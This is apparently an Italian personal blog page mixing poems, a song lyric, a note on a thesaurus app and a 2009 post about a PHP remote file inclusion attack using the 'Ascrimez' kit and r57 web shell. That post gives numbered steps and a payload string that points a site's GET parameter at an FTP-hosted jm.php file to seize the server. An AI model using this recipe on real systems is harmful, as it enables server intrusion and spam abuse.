Di Grethel (del 14/12/2011 @ 16:42:30, in Blue note, linkato 117 volte)
Il ragazzo, quel ragazzo della signora bionda dei ciliegi
Non c’è più.
Ripercorro la trazzera che porta alla villa del sole.
Non la ricordavo così,
stretta da due muretti in pietra lavica,
vestiti di rovi e avvolti da un avvolgente profumo di more, uve e terra.
Quella terra, secca e impalpabile, che ti inebria l’olfatto di quell’intimo odore che quasi lo senti, sulla pelle, carezzarti piano il cuore.
Il tempo di chiudere gli occhi e lui è lì.
Vento, acqua, sole e sale son passati dalla strada che porta alla villa sul mare.
Lui è proprio lì, carnificazione di un lontano profumo di mezza estate.
Piedi veloci e sicuri quasi sfiorano i cutilisci così lisci e un gran bel sorriso imbarazzato,
se riuscivi ad incrociare la sua rotta per caso.
Eccolo il mio sedile di pietra ricavato in un angolo della piccola aia che dava sulla spiaggia.
Sonnecchia ancora, riparato da vento, acqua e sguardi non voluti.
E’ arrivata l’ora dello spettacolo.
Gli astri abbassano lentamente le luci.
L’aria è quasi blu e la bella di notte allarga i suoi petali morbidi
quasi a volerti offrire le sue grazie.
Tutto intorno strizza un occhio seducente:
chiaro invito a licenziosità silenziose,
di quel che la luce non può e non potrà mai manifestare.
La tenda s’è mossa.
Lui è già entrato e siede sul divano d’annunziano.
In mano un bicchiere di spuma
E negli occhi la vita,
giovane e bramata,
sbocciata e assaporata,
dalle esperienti mani di lei,
la signora bionda dei ciliegi.
Quella fu la sua prima esperienza di amore mentale misto un po’ a quello carnale.
La sua vita ne fu segnata, tanto da non accontentarsi mai di semplici figure tappabuchi,
tracannando litri e litri di anime,
costantemente ubriaco di Vita.
Ci saremmo visti, si e no, sei o sette volte in cinque anni.
Ogni volta, mi lasciava un pieno di gioia, riflessioni e acque blu in cui tuffarmi che potevo sognare indisturbata per altri sei mesi.
L’appuntamento era sempre lì, al solito posto, alla stessa ora.
Su quel sedile di pietra lavica.
Nessuna acrobazia, non più.
Solamente sorrisi e sguardi rivolti al sole fresco del mattino.
Non si faceva altro che raccontarsi vita, sogni e voglie.
E il tempo trascorreva pacato,
quasi grato
perché non costretto a strizzarsi
per non lasciar spazio alla noia.
Respiro a pieni polmoni un'aria,
che sembra si sia fermata
a vedere il mio film.
Un fruscio di passi veloci.
E' lui. E' arrivato.
Non più con un bicchiere di spuma,
ma con una barretta di Lindt in mano.
“Paolino paolino, non so come, ma arrivi sempre puntuale!!”
Di Grethel (del 01/08/2010 @ 22:08:21, in Blue note, linkato 311 volte)
Non è mica facile stare alla guida dell'autobus della propria vita.
Deviare la strada all'ultimo momento.
Prendere una trazzera col pericolo che diventi troppo stretta per poterci passare.
Fermarsi. Osservare. Far scendere i passeggeri.
Non è facile.
Non è facile capire se quella scelta è quella giusta.
Capita di dover far scender qualcuno.
Magari quel qualcuno non capisce nè perchè nè per come.
Però tu sai. Tu hai visto che davanti a lui s'era aperta l'autobahn.
E lo lasci andare.
Poi scopri che è andata come pensavi.
Perchè lui ora è felice.
E tu lo sapevi.
Saper guidare non significa non aver mai incidenti.
E io non guido piano e me le cerco.
Di Grethel (del 04/06/2010 @ 09:19:58, in Open Source, linkato 296 volte)
TheSaurus
di Lucia Intelisano
L'applicazione TheSaurus contiene un dizionario dei sinonimi e contrari da poter utilizzare senza connettersi ad internet, ovvero in modalità offline. Offre un'interfaccia semplice ed intuitiva per trovare sinonimi e contrari sia di semplici parole che di modi di dire.
Di Grethel (del 10/09/2009 @ 20:15:04, in Open Source, linkato 974 volte)
Le novità sulla sicurezza informatica non finiscono mai. Crescono di pari passo con l'avanzamento delle tecnologie. Ultimamente, ho avuto a che fare con un probabile bug proveniente da una feature aggiunta al comportamento di una funzione php: il file_exists. Nella versione 4 di php, permetteva di effettuare un controllo sui file presenti nel server in cui gira il codice. A partire dalla versione 5, gli si può passare un indirizzo ftp, restituendo sempre true. E fin qui. Ma, se per caso, utilizzaste questa funzione per caricare dei contenuti dinamicamente sul sito, passati da una GET o da un POST e avete il parametro allow_url_open settato a 1 nel php.ini, allora preparatevi ad un bell'attacco. L'attacco in questione proviene da un kit chiamato "Ascrimez". Si tratta di un insieme di 4 files che comprendono:
una shell r57 modificata
uno spam bot
un file explorer
una notifica per eventuali server vulnerabili
La shell r57
E' già nota agli studiosi di sicurezza informatica. Comunemente usata da ragazzi ed hackers occasionali. Lo script è scritto in php e contiene circa 2000 righe di codice. Caratteristiche principali sono:
invio di email
visualizzazione di file
ricerca di file
gestione di un db interno
botnet features
zip/unzip di files
esecuzione di codice php, query sql, codice C, script
supportato server locale e remoto
La shell è stata creata in Russia.
Spam script
Il kit contiene anche un file per spammare email (jamaican.php). L'interfaccia è in portoghese.
File explorer
jm.php è il file che può essere utlizzato per visualizzare i file remoti, uploadare, downloadare file, rinominarli, cambiare loro i permessi.
Per mettere a punto l'attacco, bisogna seguire i seguenti passi.
crearsi uno spazio in un host che permetta l'accesso via ftp (ad esempio lycos, altervista etc)
uploadare in tale spazio il file jm.php
creare la seguente stringa "ftp://username:password@dominio/jm.php?http://www.jak.com/manual/CVS/.../rhe.ganteng?&chdir=nomedirectorydovesivoglionocambiareipermessi
verificare se il sito da attaccare passi delle variabili in GET
mettere al posto della variabile la stringa precedentemente creata
ad esempio http://www.pincopallo.com/?nomevariabile=stringa
et voilà!
Avrete il server a vostra TOTALE disposizione!
Un sentito grazie agli amici russi e brasiliani.
Non vi resta che divertirvi un pò a testare la sicurezza dei vostri server.
Enjoy!
Di Grethel (del 13/05/2009 @ 17:03:50, in Blue note, linkato 353 volte)
La canto per te, solo per te.
Avrei voluto tanto averti davanti, occhi negli occhi.
Ma destìn mai fu più spietato.
Baciami per domani
baciami per più tardi
per tutti quei momenti
in cui non siamo insieme.
Lascia che mi ricordi
sempre dei tuoi sorrisi
adesso approfittiamo
e non pensiamo a niente
Perchè domani o chissà quando
le cose potrebbero cambiare
e i baci che tu non mi darai
li voglio adesso
Baciami per domani
dammeli per più tardi
quegli attimi d'amore
per quando non ti vedo,
amore...
Perchè domani o chissà quando
le cose potrebbero cambiare
e i baci che tu non mi darai
li voglio adesso